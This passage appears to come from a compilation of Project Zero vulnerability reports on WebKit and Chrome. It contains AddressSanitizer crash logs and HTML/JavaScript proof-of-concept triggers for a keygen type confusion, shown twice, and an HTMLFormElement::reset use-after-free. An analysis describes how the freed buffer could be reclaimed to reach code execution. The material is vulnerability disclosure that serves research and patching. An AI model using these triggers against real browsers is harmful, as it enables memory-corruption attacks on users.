#25 0x7fd720c7695c in WebCore::AccessibilityNodeObject::accessibilityDescriptionForElements(WTF::Vector<WebCore::Element*, 0ul, WTF::CrashOnOverflow, 16ul>&) const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1930:44
#26 0x7fd720c77102 in WebCore::AccessibilityNodeObject::ariaLabeledByAttribute() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1955:12
#27 0x7fd720c773e9 in WebCore::AccessibilityNodeObject::ariaAccessibilityDescription() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1166:28
#28 0x7fd720c773e9 in WebCore::AccessibilityNodeObject::hasAttributesRequiredForInclusion() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityNodeObject.cpp:1963
#29 0x7fd720cc408b in WebCore::AccessibilityRenderObject::computeAccessibilityIsIgnored() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityRenderObject.cpp:1356:9
#30 0x7fd720cac82c in WebCore::AccessibilityObject::accessibilityIsIgnored() const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityObject.cpp:2978:19
#31 0x7fd720cab793 in WebCore::AccessibilityObject::notifyIfIgnoredValueChanged() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/accessibility/AccessibilityObject.cpp:2870:22
#32 0x7fd72279df02 in WebCore::RenderBlock::makeChildrenNonInline(WebCore::RenderObject*) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:707:5
#33 0x7fd72279d37a in WebCore::RenderBlock::addChildIgnoringContinuation(WebCore::RenderObject*, WebCore::RenderObject*) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBlock.cpp:606:9
#34 0x7fd722eb34fa in WebCore::RenderTreePosition::insert(WebCore::RenderObject&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreePosition.h:93:5
#35 0x7fd722eb34fa in WebCore::RenderTreeUpdater::createRenderer(WebCore::Element&, WebCore::RenderStyle&&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreeUpdater.cpp:370
#36 0x7fd722eaec96 in WebCore::RenderTreeUpdater::updateElementRenderer(WebCore::Element&, WebCore::Style::ElementUpdate&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreeUpdater.cpp:283:9
#37 0x7fd722eac9ad in WebCore::RenderTreeUpdater::updateRenderTree(WebCore::ContainerNode&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreeUpdater.cpp:173:9
#38 0x7fd722eabdcf in WebCore::RenderTreeUpdater::commit(std::unique_ptr<WebCore::Style::Update, std::default_delete<WebCore::Style::Update> >) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/style/RenderTreeUpdater.cpp:120:9
#39 0x7fd7214a045e in WebCore::Document::recalcStyle(WebCore::Style::Change) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:1936:13
#40 0x7fd7214a1a4f in WebCore::Document::updateStyleIfNeeded() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:1982:5
#41 0x7fd7214a1a4f in WebCore::Document::implicitClose() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:2807
#42 0x7fd721f666e8 in WebCore::FrameLoader::checkCallImplicitClose() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/FrameLoader.cpp:870:5
#43 0x7fd721f666e8 in WebCore::FrameLoader::checkCompleted() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/FrameLoader.cpp:816
#44 0x7fd721f6101a in WebCore::FrameLoader::finishedParsing() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/FrameLoader.cpp:737:5
#45 0x7fd7214da906 in WebCore::Document::finishedParsing() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/dom/Document.cpp:5228:9
#46 0x7fd721c66aca in WebCore::HTMLDocumentParser::end() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/html/parser/HTMLDocumentParser.cpp:406:5
#47 0x7fd721c66aca in WebCore::HTMLDocumentParser::attemptToRunDeferredScriptsAndEnd() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/html/parser/HTMLDocumentParser.cpp:415
#48 0x7fd721c66aca in WebCore::HTMLDocumentParser::prepareToStopParsing() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/html/parser/HTMLDocumentParser.cpp:135
#49 0x7fd721f480d3 in WebCore::DocumentWriter::end() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentWriter.cpp:269:5
#50 0x7fd721f20e29 in WebCore::DocumentLoader::finishedLoading(double) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentLoader.cpp:442:5
#51 0x7fd721f2a031 in WebCore::DocumentLoader::continueAfterContentPolicy(WebCore::PolicyAction) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentLoader.cpp:829:13
#52 0x7fd721f25361 in WebCore::DocumentLoader::responseReceived(WebCore::CachedResource*, WebCore::ResourceResponse const&) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentLoader.cpp:711:9
#53 0x7fd721f1b2a9 in WebCore::DocumentLoader::handleSubstituteDataLoadNow() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/loader/DocumentLoader.cpp:477:5
#54 0x7fd722434521 in WebCore::ThreadTimers::sharedTimerFiredInternal() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/platform/ThreadTimers.cpp:121:9
#55 0x7fd71f10ff1b in WTF::RunLoop::TimerBase::TimerBase(WTF::RunLoop&)::$_3::operator()(void*) const /home/ifratric/webkit/webkitgtk-2.14.2/Source/WTF/wtf/glib/RunLoopGLib.cpp:162:9
#56 0x7fd71f10ff1b in WTF::RunLoop::TimerBase::TimerBase(WTF::RunLoop&)::$_3::__invoke(void*) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WTF/wtf/glib/RunLoopGLib.cpp:160
#57 0x7fd717fcf059 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a059)
#58 0x7fd717fcf3ff (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a3ff)
#59 0x7fd717fcf721 in g_main_loop_run (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4a721)
#60 0x7fd71f10f384 in WTF::RunLoop::run() /home/ifratric/webkit/webkitgtk-2.14.2/Source/WTF/wtf/glib/RunLoopGLib.cpp:94:9
#61 0x7fd7208b6f98 in int WebKit::ChildProcessMain<WebKit::WebProcess, WebKit::WebProcessMain>(int, char**) /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebKit2/Shared/unix/ChildProcessMain.h:61:5
#62 0x7fd71378b82f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291
#63 0x41a218 in _start (/webkit/libexec/webkit2gtk-4.0/WebKitWebProcess+0x41a218)
0x7fd724fdca78 is located 272 bytes to the right of global variable 'vtable for WebCore::RenderText' defined in '/home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderText.cpp' (0x7fd724fdc400) of size 1384
SUMMARY: AddressSanitizer: global-buffer-overflow /home/ifratric/webkit/webkitgtk-2.14.2/Source/WebCore/rendering/RenderBox.cpp:3260:21 in WebCore::RenderBox::computeBlockDirectionMargins(WebCore::RenderBlock const&, WebCore::LayoutUnit&, WebCore::LayoutUnit&) const
Shadow bytes around the buggy address:
0x0ffb649f38f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffb649f3900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffb649f3910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffb649f3920: 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9
0x0ffb649f3930: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
=>0x0ffb649f3940: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9[f9]
0x0ffb649f3950: f9 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 f9 f9
0x0ffb649f3960: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffb649f3970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffb649f3980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0ffb649f3990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==5530==ABORTING
-->
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=999 -->
<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>
<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
-->
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=994
Chrome bug:
https://bugs.chromium.org/p/chromium/issues/detail?id=666246
PoC:
-->
<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>
<!--
What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.
-->
<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1044 -->
<script>
function go() {
output.value = "aaa";
output.appendChild(inserted_div);
document.getElementById("output").addEventListener('DOMSubtreeModified', function () {
for(var i=0; i<20; i++) {
form.appendChild(document.createElement("input"));
}
}, false);
form.reset();
}
</script>
<body onload=go()>
<div id="inserted_div">foo</div>
<form id="form" onchange="eventhandler()">
<input type="text" value="foo">
<output id="output" oninput="eventhandler()"></output>
<input type="text" value="foo">
<!--
=================================================================
Analysis:
The bug is in HTMLFormElement::reset() function, specifically in this part:
for (auto& associatedElement : m_associatedElements) {
if (is<HTMLFormControlElement>(*associatedElement))
downcast<HTMLFormControlElement>(*associatedElement).reset();
}
The issue is that while m_associatedElements vector is being iterated, its content can change (HTMLFormControlElement being added or removed from it).
Normally HTMLFormControlElement.reset() doesn't change the DOM, but there is one exception to this: The 'output' element. In WebKit, resetting the output element is equivalent to setting its textContent, which causes all of its child elements (if any) to be removed from the DOM tree.
Using this trick we can remove elements from m_associatedElements while it is being iterated. However, this by itself is not sufficient to exploit this issue as m_associatedElements.remove(index) (called from HTMLFormElement::removeFormElement()) won't actually reallocate the vector's buffer, it will only decrease vector's m_size and the vector's elements after m_size will still point to the (former) form members. (It might be possible to force the removed form members to be deleted but I haven't experimented with this).
So instead of removing elements from the m_associatedElements vector, I instead add elements to it while it is being iterated. I did this by adding DOMSubtreeModified event listener to the output element, so that when the output element gets reset, the event triggers and in the event hanlder newly created input elements are added to the form. This causes the vector's buffer to be reallocated to accommodate the new form elements. The loop inside HTMLFormElement::reset() continues to iterate over now deleted buffer, causing the use-after free condition.
If an attacker manages to reclaim the space of the freed buffer and fill it with attacker-controlled data (there is plenty of opportunity to do this inside the DOMSubtreeModified event handler. Also note that the size of the freed buffer can be chosen by the attacker), subsequent iterations over m_associatedElements will cause HTMLFormControlElement::reset() method to be called on the attacker-controlled pointer. Since HTMLFormControlElement::reset() is a virtual function, this can easily lead to code execution.
ASAN log:
=================================================================
==1963==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c0000a2c50 at pc 0x000109144e28 bp 0x7fff5ee93e10 sp 0x7fff5ee93e08
READ of size 8 at 0x60c0000a2c50 thread T0
#0 0x109144e27 in WebCore::HTMLFormElement::reset() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2be27)
#1 0x1099b32e0 in WebCore::jsHTMLFormElementPrototypeFunctionResetCaller(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x149a2e0)
#2 0x1099b0cdd in long long WebCore::BindingCaller<WebCore::JSHTMLFormElement>::callOperation<&(WebCore::jsHTMLFormElementPrototypeFunctionResetCaller(JSC::ExecState*, WebCore::JSHTMLFormElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1497cdd)
#3 0x2e505aa01027 (<unknown module>)
#4 0x105d07f0c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x126af0c)
#5 0x105d07f0c in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x126af0c)
#6 0x105d014da in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12644da)
#7 0x1059a1c5d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf04c5d)
#8 0x105908033 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xe6b033)
#9 0x104f718d1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d48d1)
#10 0x104f719fb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d49fb)
#11 0x104f71d46 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d4d46)
#12 0x1095a9e2e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1090e2e)
#13 0x109894c66 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x137bc66)
#14 0x108dea325 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8d1325)
#15 0x108de9e4f in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8d0e4f)
#16 0x108cd52f1 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7bc2f1)
#17 0x108ce4ebf in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7cbebf)
#18 0x108bf105f in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6d805f)
#19 0x108bebdae in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6d2dae)
#20 0x108f57481 in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa3e481)
#21 0x108f5496a in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa3b96a)
#22 0x108c098ed in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x6f08ed)
#23 0x10910721d in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xbee21d)
#24 0x108ca018c in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x78718c)
#25 0x108c645ef in WebCore::DocumentLoader::finishedLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x74b5ef)
#26 0x10876f577 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x256577)
#27 0x10876a479 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x251479)
#28 0x10acc2f84 in WebCore::SubresourceLoader::didFinishLoading(double) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x27a9f84)
#29 0x101662f95 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8def95)
#30 0x1016625aa in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x8de5aa)
#31 0x1010126a9 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x28e6a9)
#32 0x100e320a8 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xae0a8)
#33 0x100e3b274 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb7274)
#34 0x1062d3964 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1836964)
#35 0x1062d427e in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x183727e)
#36 0x7fff96c637e0 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xaa7e0)
#37 0x7fff96c42f1b in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x89f1b)
#38 0x7fff96c4243e in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x8943e)
#39 0x7fff96c41e37 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88e37)
#40 0x7fff8cad1934 in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30934)
#41 0x7fff8cad176e in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x3076e)
#42 0x7fff8cad15ae in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x305ae)
#43 0x7fff8a8fcdf5 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48df5)
#44 0x7fff8a8fc225 in -[NSApplication _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x48225)
#45 0x7fff8a8f0d7f in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3cd7f)
#46 0x7fff8a8ba367 in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x6367)
#47 0x7fff82c7c193 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x11193)
#48 0x7fff82c7abbd in xpc_main (/usr/lib/system/libxpc.dylib+0xfbbd)
#49 0x100d69b73 in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
#50 0x7fff8a7fa5ac in start (/usr/lib/system/libdyld.dylib+0x35ac)
0x60c0000a2c50 is located 16 bytes inside of 128-byte region [0x60c0000a2c40,0x60c0000a2cc0)
freed by thread T0 here:
#0 0x103345db9 in wrap_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4adb9)
#1 0x10632602b in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x188902b)
#2 0x109148b53 in WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::expandCapacity(unsigned long, WebCore::FormAssociatedElement**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2fb53)
#3 0x109145d00 in void WTF::Vector<WebCore::FormAssociatedElement*, 0ul, WTF::CrashOnOverflow, 16ul>::insert<WebCore::FormAssociatedElement*&>(unsigned long, WebCore::FormAssociatedElement*&&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2cd00)
#4 0x109145b80 in WebCore::HTMLFormElement::registerFormElement(WebCore::FormAssociatedElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc2cb80)
#5 0x108ef9f98 in WebCore::FormAssociatedElement::setForm(WebCore::HTMLFormElement*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x9e0f98)
#6 0x108efa80e in WebCore::FormAssociatedElement::resetFormOwner() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x9e180e)
#7 0x109163a0d in WebCore::HTMLInputElement::finishedInsertingSubtree() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc4aa0d)
#8 0x1088827d8 in WebCore::ContainerNode::notifyChildInserted(WebCore::Node&, WebCore::ContainerNode::ChildChangeSource) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x3697d8)
#9 0x108882442 in WebCore::ContainerNode::updateTreeAfterInsertion(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x369442)
#10 0x108881f38 in WebCore::ContainerNode::appendChildWithoutPreInsertionValidityCheck(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x368f38)
#11 0x108884536 in WebCore::ContainerNode::appendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x36b536)
#12 0x10a364e8b in WebCore::Node::appendChild(WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1e4be8b)
#13 0x109ba6f87 in WebCore::JSNode::appendChild(JSC::ExecState&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x168df87)
#14 0x109ba4021 in WebCore::jsNodePrototypeFunctionAppendChildCaller(JSC::ExecState*, WebCore::JSNode*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x168b021)
#15 0x109ba0572 in long long WebCore::BindingCaller<WebCore::JSNode>::callOperation<&(WebCore::jsNodePrototypeFunctionAppendChildCaller(JSC::ExecState*, WebCore::JSNode*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1687572)
#16 0x109ba041e in WebCore::jsNodePrototypeFunctionAppendChild(JSC::ExecState*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x168741e)
#17 0x2e505aa01027 (<unknown module>)
#18 0x105d07e9a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x126ae9a)
#19 0x105d014da in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12644da)
#20 0x1059a1c5d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf04c5d)
#21 0x105908033 in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xe6b033)
#22 0x104f718d1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d48d1)
#23 0x104f719fb in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d49fb)
#24 0x104f71d46 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x4d4d46)
#25 0x1095a9e2e in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1090e2e)
#26 0x109894c66 in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext*, WebCore::Event*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x137bc66)
#27 0x108dea325 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x8d1325)
